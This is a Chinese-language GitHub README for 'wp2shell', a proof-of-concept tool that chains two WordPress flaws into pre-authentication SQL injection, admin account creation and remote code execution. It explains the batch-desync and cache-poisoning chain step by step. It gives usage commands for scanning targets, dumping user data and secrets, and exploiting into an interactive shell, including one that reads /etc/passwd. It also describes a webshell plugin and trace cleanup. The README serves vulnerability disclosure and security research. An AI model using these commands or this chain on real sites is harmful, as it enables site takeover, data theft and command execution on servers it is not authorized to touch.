Crypto-Cat/wp2shell

GitHub: Crypto-Cat/wp2shell

wp2shell 是针对 WordPress 认证前 RCE 漏洞链(CVE-2026-63030 + CVE-2026-60137)的概念验证利用工具,无需凭证即可实现提权与远程代码执行。

Stars: 0 | Forks: 0

# wp2shell 针对 WordPress 6.9.0–6.9.4 和 7.0.0–7.0.1 的认证前远程代码执行。 通过将 CVE-2026-63030(batch 路由混淆 SQLi)与 CVE-2026-60137(customizer changeset 重入)相结合,实现未经身份验证的管理员创建和 OS 命令执行。无需密码破解。 ![wp2shell demo](https://static.pigsec.cn/wp-content/uploads/repos/cas/c2/c25f2e43ea942226c88315cbbf51eaddea6a5c337b433d68a1e993bfc3903ed8.png) ## 漏洞原理 WordPress 的 REST API 批处理程序 (`serve_batch_request_v1`) 存在一个 off-by-one 索引 bug:当 `wp_parse_url()` 解析子请求路径失败时,生成的 `WP_Error` 会被推入 `$validation[]`,但_不会_推入 `$matches[]`。这导致两个数组不同步——随后的每个请求都会被分发到**错误的 handler** 下。 通过在另一个 batch 中嵌套一个结构精心设计的 batch,攻击者可以: 1. 将一个由某个 endpoint schema 验证的请求路由到一个完全不同的 endpoint 的 callback 中 2. 通过 `author__not_in` 注入未过滤的 SQL(string→array 转换跳过了 `absint()`) 3. 使用 `UNION SELECT` 用伪造的 post 对象污染 WordPress 的对象缓存 4. 触发 changeset 自动发布以提升权限,然后携带 admin 上下文重新进入 REST API 一旦设置完成(发现表前缀和管理员 ID),提权 payload 就会在单个 HTTP 请求中触发——缓存污染、权限提升和用户创建都在服务器端的一次往返中完成。 ## 链式攻击工作原理 ``` HTTP POST /batch/v1 │ ▼ ┌─ Outer Batch ───────────────────────────────────────────────────────┐ │ │ │ [0] /// → parse error, not added to $matches │ │ [1] POST /wp/v2/posts → $matches[0] (posts handler) │ │ [2] POST /batch/v1 → $matches[1] (batch handler) │ │ │ │ Desync: request[1] dispatched via $matches[1] │ │ POST /wp/v2/posts body interpreted as batch → inner fires │ │ │ └──────────────────────────────────────┬──────────────────────────────┘ │ ┌──────────────────────────────────┘ ▼ ┌─ Inner Batch ───────────────────────────────────────────────────────┐ │ │ │ [0] /// → parse error (desync) │ │ [1] GET /wp/v2/widgets?UNION... → dispatched by posts handler │ │ ▲ WP_Query fires UNION, poisons object cache │ │ ▲ the_content renders [embed] → oEmbed → hierarchy Loop 1 │ │ → changeset published → admin context set │ │ → nav_menu_item UPDATE → hierarchy Loop 2 │ │ → parse_request → REST re-entry ─────────────┐ │ │ │ │ │ [2] GET /wp/v2/posts (categories handler) │ │ │ [3] GET /wp/v2/categories (users handler) │ │ │ [4] POST /wp/v2/users {body} ◄── re-entry with admin ──────┘ │ │ ▲ desync aligns this with users handler │ │ ▲ admin context → user created → die() │ │ [5] POST /wp/v2/users {} (desync spacer) │ │ │ └─────────────────────────────────────────────────────────────────────┘ ``` **缓存污染(通过 UNION 注入 7 个伪造 post):** - 一个触发器 post,其内容包含 `[embed]` shortcode - 一个 changeset post(`customize_changeset`,状态为 `future`,日期在过去) - 一个外层循环伙伴(parent=changeset,创建 Loop 1) - 一个 oEmbed 目标(动态防递归 ID,parent=changeset,内容为空) - 一个导航菜单项 post(被污染为 `post_type=nav_menu_item` 以通过 `is_nav_menu_item` 检查) - 一个重入 post(`post_type=request`,`post_status=parse`,parent=inner) - 一个内层循环伙伴(parent=re-entry,创建 Loop 2) **执行流程:** 1. UNION 用所有 7 个伪造 post 污染对象缓存 2. Posts handler 渲染触发器 post 的内容 → 触发 `[embed]` shortcode 3. oEmbed 缓存查找找到一个内容为空的后备 post → 直接落入 `wp_update_post` 4. `wp_update_post` 读取缓存的 changeset(parent=outer)→ 层级检查检测到 Loop 1 5. 修复程序将 changeset 以 `future` 状态写入数据库 → 自动转换为 `publish` 6. `_wp_customize_publish_changeset` 触发 → `wp_set_current_user(admin_id)` → 激活 admin 上下文 7. Changeset 处理 `nav_menu_item[real_id]` —— 缓存显示类型为 nav_menu_item → 走 UPDATE 路径 8. `object_id` 解析为 `post_parent=re-entry` 的缓存 post → 对真实 post 执行 `wp_update_post` 9. 层级检查(`$post_id` 非零)检测到 Loop 2(re-entry ↔ inner) 10. 修复程序调用 `wp_update_post(re-entry)` → 将 type=request, status=parse 写入数据库 11. `wp_transition_post_status` 触发 `do_action("parse_request")` → `rest_api_loaded()` → `serve_request()` 12. REST API 重入,**以 admin 权限**重新处理整个 batch 13. 尾部的 `POST /wp/v2/users` 成功 → 创建管理员 → `die()` 防递归 MySQL session 变量 (`@_wp2s`) 确保该链只触发一次,不会陷入死循环。 ## 功能 - **三种提取模式**并带有自动检测:UNION(1 个请求/值)、基于错误的 EXTRACTVALUE(约 30 字符/请求)、布尔盲注二分搜索(约 7 个请求/字符) - **完全的认证前 RCE** —— 无需凭证,无需破解,提权在单次往返中触发 - **自动发现** —— 通过 INFORMATION_SCHEMA 获取表前缀,通过 capabilities meta 获取管理员用户 ID - **后渗透** —— 带有 token 认证的插件 webshell,跟踪 CWD 的交互式 shell,文件读写 - **清理模式** —— `--cleanup` 在退出时删除创建的用户并移除 webshell - **零依赖** —— 仅使用标准库,单文件,在 Python 3.8+ 上运行 ## 安装 ``` git clone https://github.com/Crypto-Cat/wp2shell.git cd wp2shell chmod +x wp2shell.py ``` 无需 `pip install`,无需 virtualenv。它只是一个单文件。 ## 用法 ### 检查目标是否存在漏洞 ``` # 被动布尔盲注测试 python3 wp2shell.py check http://target.com # 同时通过 timing 和 UNION 验证 python3 wp2shell.py check http://target.com --confirm-timing --confirm-union ``` ### 提取数据 ``` # 自动选择最快的技术 (UNION > error > blind) python3 wp2shell.py read http://target.com --preset users python3 wp2shell.py read http://target.com --preset secrets python3 wp2shell.py read http://target.com --query "SELECT @@version" # 强制使用特定技术 python3 wp2shell.py read http://target.com --technique blind --preset users # 自动发现表前缀 python3 wp2shell.py read http://target.com --auto-prefix --preset users ``` ### 完整利用 ``` # 利用并进入交互式 shell python3 wp2shell.py exploit http://target.com -i # 利用,执行单个命令,清理痕迹 python3 wp2shell.py exploit http://target.com -c "cat /etc/passwd" --cleanup # 如果已知前缀则跳过自动发现 python3 wp2shell.py exploit http://target.com --prefix wp_ --no-discover -i # 通过代理 (Burp, mitmproxy, 等) python3 wp2shell.py exploit http://target.com --proxy http://127.0.0.1:8080 -i ``` ### 认证 shell(带有现有凭证) ``` python3 wp2shell.py shell http://target.com --user admin --password 'P@ssw0rd' -i ``` ## 完整 RCE 的要求 `check` 和 `read` 命令适用于任何受影响的目标。`exploit` 链有三个额外要求: | 要求 | 原因 | 默认 WP 情况? | | --------------------------- | --------------------------------------------------------------- | ------------------------ | | 至少有一个已发布的 post | oEmbed 需要一个本地 URL 来触发 embed 处理 | 是 (Hello World) | | 无持久化对象缓存 | 必须禁用 split-the-query 才能使 UNION 行存活 | 是 (默认为文件缓存) | | REST API 可访问 | 通过 `parse_request` 重入需要 REST 服务器 | 是 | | 直接文件系统写入 | 插件上传需要 `FS_METHOD=direct` 或由 PHP 拥有 wp-content | 是 (大多数主机) | 如果目标使用 Redis 或 Memcached 作为对象缓存,无论 `per_page` 设置如何,`split_the_query` 都会被强制开启,并且 UNION 行会在仅获取 ID 的过程中被丢弃。`read` 命令仍然有效(盲注提取不需要 UNION 存活在缓存中),但 `exploit` 将会失败。 ## 受影响版本 | 分支 | 存在漏洞 | 已修复 | | ------ | ------------- | ----- | | 6.9.x | 6.9.0 – 6.9.4 | 6.9.5 | | 7.0.x | 7.0.0 – 7.0.1 | 7.0.2 | 补丁在错误情况中添加了 `$matches[] = $single_request;`(修复了 off-by-one),并在 `serve_request()` 中添加了重入防护。 ## 架构 ``` wp2shell.py (single file, ~1650 lines) ├── Client HTTP transport with batch URL negotiation ├── Desync Nested batch payload construction ├── BlindExtractor Boolean binary search (universal) ├── UnionExtractor In-band via forged post_title (fastest) ├── ErrorExtractor EXTRACTVALUE-based (intermediate) ├── PoisonGraph Hierarchy loop structure for cache poisoning ├── Exploiter Chain orchestration (seed → extract → escalate) └── AdminSession Authenticated session, webshell, cleanup ``` ## 技术细节 **为什么使用 `/wp/v2/widgets` 作为源路由?** Widgets controller 没有在其 endpoint schema 中注册 `per_page`、`orderby` 或 `author_exclude`。这些参数在验证时原封不动地通过(schema 验证器会忽略未知参数)。当不同步将该请求通过 Posts controller 分发时,这些原始值会直接流入 `WP_Query`。 **为什么是 `per_page=500`?** `class-wp-query.php:3375` —— split_the_query 要求 `!empty($limits) && posts_per_page < 500`。当 `per_page=500` 时,条件 `500 < 500` 为假,因此禁用了 split_the_query。完整查询(包括 UNION)作为单个语句执行,所有注入的行都得以存活并进入结果集和缓存。 **为什么是 `nav_menu_item[real_id]`(正数 ID)?** 使用正的 post ID 会进入 `nav-menu.php:614` 的 UPDATE 路径,该路径会以非零的 `$post_id` 调用 `wp_update_post`。这至关重要,因为 `post.php:8070` 中的 `wp_check_post_hierarchy_for_loops` 在 `$post_id = 0`(新 post)时会提前返回。该 ID 的缓存被污染为 `post_type=nav_menu_item`,以便 `is_nav_menu_item()` 能通过 `nav-menu.php:426` 的类型检查。UPDATE 路径随后触发检测到 Loop 2 的层级检查。 **为什么有两个层级循环?** Loop 1(changeset ↔ outer)触发 changeset 发布并设置 admin 上下文。Loop 2(re-entry ↔ inner)_在 admin 时间窗口内_(在 changeset 发布循环内的导航菜单项设置的 `save()` 调用中)触发,并触发 `parse_request` → REST 重入。这两个循环是独立的,因为 Loop 2 的修复程序必须在第 3589 行的重置之前,在第 3581 行的 admin 时间窗口内将 re-entry post 写入数据库。 ## 免责声明 此工具发布用于授权的安全测试和研究目的。仅针对您拥有或获得明确书面授权进行测试的系统使用。未经授权访问计算机系统是非法的。 ## 鸣谢 由 [CryptoCat](https://github.com/Crypto-Cat) 研究和开发。
标签:CISA项目, Web报告查看器, WordPress, 安全, 提权, 数据展示, 红队, 编程工具, 超时处理, 远程代码执行